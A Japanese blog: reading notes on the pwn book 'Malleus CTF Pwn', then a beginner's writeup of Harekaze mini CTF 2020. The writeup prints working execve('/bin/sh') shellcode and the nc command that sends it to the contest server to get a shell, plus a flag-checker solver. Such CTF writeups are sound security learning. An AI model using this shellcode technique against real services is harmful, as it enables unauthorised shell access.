Malleus CTF Pwnを読んだ
前々からCTF(特にpwn)に興味があったので、Malleus CTF Pwnを読みました。
ページ数もそこまで多くないしさらっと読めるかなと思って買ったのですが、CTFやpwnに関する事前知識ゼロだったので、結局時間をかけてじっくり読むことになりました。その分得るものがたくさんあって、読み応えがあってよかったかなと。あとやっぱりスタックやらmallocやらその辺の仕組みを知っていくのは楽しい。
メモした内容を忘れないように残しておきます。
(最近商業版?も出たらしい)
解題pwnable セキュリティコンテストに挑戦しよう! (技術の泉シリーズ(NextPublishing)) | 草野 一彦 | 工学 | Kindleストア | Amazon
第1章 準備
ツールの説明とか。
使っているPCにそもそもDockerを入れてなかったので入れた。
https://docs.docker.com/engine/install/ubuntu/
第2章 login1, 第3章 login2
スタックバッファオーバーフローについて。このへんはすんなり読めた。
第4章 login3
このあたりから理解に時間がかかるようになってきた。
One-gadget RCEの存在を初めて知った。本来どういう用途で使われているか知らないので、狙われるだけでは?と思ったけど何のための機能なんだろう。
関数のアドレスを表示してランダム化されていること (ASLR) を確認するところで、以下のコードで関数のアドレスを確認していた。
printf("printf: %p\n", printf);
ふとアセンブリはどうなっているのだろうと気になって確認したところ、以下のようになっていた。これだと printf
の GOT のスロットのアドレス (0x403fe8) が出力されるのでは?と思ったが、よくよく見ると mov
が使われているので、ちゃんとGOTのスロットのアドレスに格納されている値、つまり printf
のアドレスが出力される。
mov rax,QWORD PTR [rip+0x2eb7] # 403fe8 <printf@GLIBC_2.2.5>
ちなみに以下だと lea
が使われる。コンパイラよくできてる。
int a; printf("%p\n", &a);
あとはそもそもPythonの文字列とかバイトオブジェクトとかがわかってなかったので、以下を読んだりした。
第5章 rot13
Format String Attack
最初攻撃スクリプトが何をしているか全然わからなかったけど、丁寧に追っていくことでなんとか理解。
printfで書き込み (%n
) もできるというのは初耳。
第6章 birdcage
ここからヒープ。
第7章 strstr
mallocががっつりでてきた。ちょっとついていけなくなってしまったのでmalloc動画をまずは見ることにした。
ヒープわからんってなったので例のmalloc動画を履修した
— penguing27 (@penguing27) 2020年12月30日
これもわかりやすい。ここまで詳細な文書をまとめることに脱帽。
malloc(3)のメモリ管理構造
あとはソースも適当に見ながら読み進めた。
libc-2.27.so内の main_arena
のアドレスを逆アセンブル結果を見て特定するところがよくわからなかった。アセンブリ読めればわかるということかな。
第8章 strstrstr
本と同じようにPwngdbのparseheapとかheapinfoとかが使いたくていろいろ奮闘した。
まずは手元の環境 (Ubuntu 20.04.1 LTS) で配布されたlibc-2.27.soを使うようにpatchelfで実行ファイルにパッチを当ててgdbを動かしてみた。シェルは取れたけど、libc6-dbgがないよと怒られてparseheapはできなかった。
gdb-peda$ parseheap Can not get libc version Cannot get main_arena's symbol address. Make sure you install libc debug file (libc6-dbg & libc6-dbg:i386 for debian package). can't find heap info gdb-peda$ heapinfo Can not get libc version Cannot get main_arena's symbol address. Make sure you install libc debug file (libc6-dbg & libc6-dbg:i386 for debian package). Can't find heap info
libc6-dbgの存在を知らなかったけど、調べてみるとlibcのデバッグ情報をlibcとは別出しで持っているパッケージとのこと。これがないとparseheapとかはできないらしい。
https://github.com/scwuaptx/Pwngdb#heapinfo
ということで、libc-2.27.soのlibc6-dbgも入れられるように、Ubuntu 18.04で試してみることにした。apt install
でlibc6, libc-dbgを入れていざ試してみると、今度はシェルが取れない。。たぶんすでにlibc6にパッチがあたっているからだと思われる。
$ apt list -a libc6 Listing... Done libc6/bionic-updates,now 2.27-3ubuntu1.4 amd64 [installed] libc6/bionic-security 2.27-3ubuntu1.2 amd64 libc6/bionic 2.27-3ubuntu1 amd64
今度は一番古いバージョンのlibc6にダウングレードしてみたところ、配布されているlibc-2.27.soと全く同じものがインストールされた。
$ sudo apt install libc6=2.27-3ubuntu1 libc-dev-bin=2.27-3ubuntu1 libc6-dev=2.27-3ubuntu1 libc6-dbg=2.27-3ubuntu1
$ cmp /path/to/libc-2.27.so /lib/x86_64-linux-gnu/libc-2.27.so $
配布されたソースコードを -g
付きでコンパイル、止めたいところでbreakしてparseheapすることで、ようやく本と同じ結果が得られた。
第9章 freefree
House of Orange
ここもparseheap、heapinfoでヒープの状態を確認しながら攻撃スクリプトの挙動を追っていった。
第10章 freefree++
File stream oriented programming
第11章 writefree
House of Corrosion
fastbinにチャンクを格納する際のサイズチェックに引っかからないようにするために、各サイズで一旦確保し解放することでヒープ中の次のチャンクのsizeにあたる位置にサイズを書き込んでおく、というところがよくわからず小一時間悩んだ。なぜ一旦確保し解放することで次のチャンクのsizeに書き込めるのか。
元記事だとこのあたり。
This is achieved by allocating then freeing a chunk so that the top chunk size is written to that location.
けど↑にも書いてあるとおり、次のチャンク = top ということに気づいて納得。一旦確保することでtopの位置が変わり、それに伴いtopのサイズも変わるから、正常なサイズが書き込まれるということ。
はじめてCTFに参加した (Harekaze mini CTF 2020)
はじめに
はじめてCTFというものに参加しました。というのも、最近 Malleus CTF Pwn という本を読んでpwnめちゃくちゃおもしろいなと思っていたところに、ちょうど初心者向けっぽいCTFが開催されるという噂を耳にしたからです。どうせならということで、思い切って参加してみました。ちなみに本はまだ半分くらいしか読んでないです。
参加したのは Harekaze mini CTF 2020 というCTFです。(twiitter → #HarekazeCTF)
初CTFの結果は、welcome問題も含めて3問解くことができました。CTF業界ではまだまだだと思いますが、初めてにしてはがんばったのでは?
CTFではwriteupなるものを書く文化があるみたいなので、解けた問題について書いてみました。
[Misc] Welcome (warmup)
Harekaze mini CTF 2020へようこそ! フラグは HarekazeCTF{4nch0rs_4we1gh} です。
問題文にフラグが書いてあるので、そのまま提出するだけ。
[Pwn] Shellcode (warmup)
nc xxx.xxx.xxx.xxx 20005
問題文のとおりにアクセスしてみる。
$ nc xxx.xxx.xxx.xxx 20005 Present for you! "/bin/sh" is at 0x404060 Execute execve("/bin/sh", NULL, NULL)
サーバで動いているプログラムのソースコードは提供されている。
- shellcode.c
#include <stdio.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> char binsh[] = "/bin/sh"; int main(void) { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("Present for you! \"/bin/sh\" is at %p\n", binsh); puts("Execute execve(\"/bin/sh\", NULL, NULL)"); char *code = mmap(NULL, 0x1000, PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); // Clear rsp and rbp memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6); read(0, code + 6, 0x100); mprotect(code, 0x1000, PROT_READ | PROT_EXEC); ((void (*)())(code))(); return 0; }
どうやら execve("/bin/sh", NULL, NULL)
を実行する shellcode を入力で与えれば、実行してくれるらしい。
shellcode ってなに?という状態だったので調べてみたところ、以下の記事がわかりやすかった。
シェルコードは攻撃の際に使う機械語で書かれたプログラムの断片のことで、主にシェルを起動するために作られている場合が多いことからシェルを起動するかに関わらずシェルコードと呼んでいます。
ということで、shellcode をつくってみる。rax に execve のシステムコール番号を、rdi (第一引数) に /bin/sh
のアドレスを、rsi, rdx (第二、第三引数) に NULL を格納して systemcall
を呼ぶ。
- execve.s
/* execve.s */ .intel_syntax noprefix .globl _start _start: mov rax, 59 mov rsi, 0 mov rdx, 0 lea rdi, [0x404060] syscall
$ gcc -nostdlib execve.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\x8d\x3c\x25\x60\x40\x40\x00\x0f\x05
サーバプログラムに入力。
$ (printf '\x48\xc7\xc0\x3b\x00\x00\x00\x48\xc7\xc6\x00\x00\x00\x00\x48\xc7\xc2\x00\x00\x00\x00\x48\x8d\x3c\x25\x60\x40\x40\x00\x0f\x05'; cat) | nc 20.48.83.165 20005 Present for you! "/bin/sh" is at 0x404060 Execute execve("/bin/sh", NULL, NULL) ls bin boot dev etc home lib ...
無事シェルがとれたっぽい。(わかりにくいけど ls
を実行している)
CTF に参加したのは今回が初めてなので、CTF での shell 奪取も初。これはうれしい。
あとは flag を探して出力するだけ。
find . -name flag ./home/shellcode/flag find: './root': Permission denied find: './proc/tty/driver': Permission denied ... cat ./home/shellcode/flag HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
(ここで何をしているのかは正直わかってない)
// Clear rsp and rbp memcpy(code, "\x48\x31\xe4\x48\x31\xed", 6);
[Reversing] Easy Flag Checker (warmup)
このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。
chall という名前のバイナリファイルがダウンロードできるので、ダウンロードして実行してみる。
$ ./chall Input flag: aaa Nope.
objdump して眺めてみたが、まったくわからない。
ということで、Malleus CTF Pwn でも名前が紹介されていた Ghidra をインストールして使ってみることにした。
これは便利。真ん中のウィンドウが逆アセンブル結果、右のウィンドウがデコンパイルした結果。
このデコンパイルした結果が C 言語みたいになっていて、普通に読むことができる。
check
という関数でフラグが正解かどうか判定しているっぽい。check
には入力した文字列と "fakeflag{this_is_not_the_real_flag}"
という文字列を引数として与えている。
check
関数のデコンパイル結果を見てみる。
undefined8 check(long param_1,long param_2) { char cVar1; int local_c; local_c = 0; while( true ) { if (0x22 < local_c) { return 0; } cVar1 = (**(code **)(funcs + (long)(local_c % 3) * 8)) ((int)*(char *)(param_2 + local_c),(int)(char)table[local_c], (int)(char)table[local_c]); if (cVar1 < *(char *)(param_1 + local_c)) break; if (*(char *)(param_1 + local_c) < cVar1) { return 0xffffffff; } local_c = local_c + 1; } return 1; }
funcs
関数の返り値を cVar1
という変数に格納していて、 cVar1
の値と param_1 + local_c
に格納されている値が一致しているかをチェックしている。これをフラグ文字数分繰り返してすべて一致していれば0を返す。
funcs
と table
が気になるので Ghidra で検索。
funcs + 0x0
, funcs + 0x8
, funcs + 0x10
のアドレスに、それぞれ add
, sub
, xor
という関数のアドレスが格納されていた。それぞれの関数も検索すると、2つの引数に対して関数名通りの処理をするというわかりやすいものだった。
table
には、フラグ文字数分だけ値が格納されていた。この値が、 add
などの関数に与える2つの引数のうちの1つとなる。
(local_c % 3) * 8
の値に応じて呼ぶ関数を変えていることがわかったので、あとはフラグを出力するコードを書くだけ。
- solve.c
#include <stdio.h> #define FLAG_LEN 35 int main() { int i; char *fake = "fakeflag{this_is_not_the_real_flag}"; char table[] = { 0xe2, 0x00, 0x19, 0x00, 0xfb, 0x0d, 0x19, 0x02, 0x38, 0xe0, 0x22, 0x12, 0xbd, 0xed, 0x1d, 0xf5, 0x2f, 0x0a, 0xc1, 0xfc, 0x00, 0xf2, 0xfc, 0x51, 0x08, 0x13, 0x06, 0x07, 0x39, 0x3c, 0x05, 0x39, 0x13, 0xba, 0x00 }; char ans[FLAG_LEN + 1]; for (i = 0; i < FLAG_LEN; i++) { switch (i % 3 * 8) { case 0: ans[i] = fake[i] + table[i]; break; case 8: ans[i] = fake[i] - table[i]; break; case 16: ans[i] = fake[i] ^ table[i]; break; default: printf("error\n"); return -1; } } ans[FLAG_LEN] = '\0'; printf("%s\n", ans); return 0; }
フラグ取得。
$ gcc -o solve solve.c $ ./solve HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
おわりに
解けた3問以外では、pwnのNM Game Extremeという問題と、reversingのWaitという問題にチャレンジしましたが、わからずじまいで寝てしまいました。
他の人のwriteupを読んで勉強したいと思います。また出るぞ。